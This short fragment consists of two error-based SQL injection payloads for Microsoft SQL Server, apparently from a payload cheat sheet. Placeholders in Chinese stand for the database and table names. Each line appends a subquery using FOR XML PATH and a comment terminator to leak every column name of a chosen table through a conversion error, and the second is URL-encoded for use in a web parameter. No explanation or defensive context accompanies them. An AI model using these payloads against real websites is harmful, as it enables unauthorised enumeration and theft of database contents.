and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--